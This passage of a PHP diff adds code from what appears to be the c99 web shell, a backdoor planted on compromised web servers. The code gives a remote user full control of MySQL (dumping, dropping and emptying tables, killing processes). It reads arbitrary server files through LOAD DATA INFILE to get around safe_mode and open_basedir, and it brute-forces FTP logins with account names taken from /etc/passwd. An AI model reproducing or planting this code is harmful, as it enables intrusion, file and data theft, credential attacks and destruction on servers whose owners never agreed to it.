mysql_fetch_array($count); echo "<b>�&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>�</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if 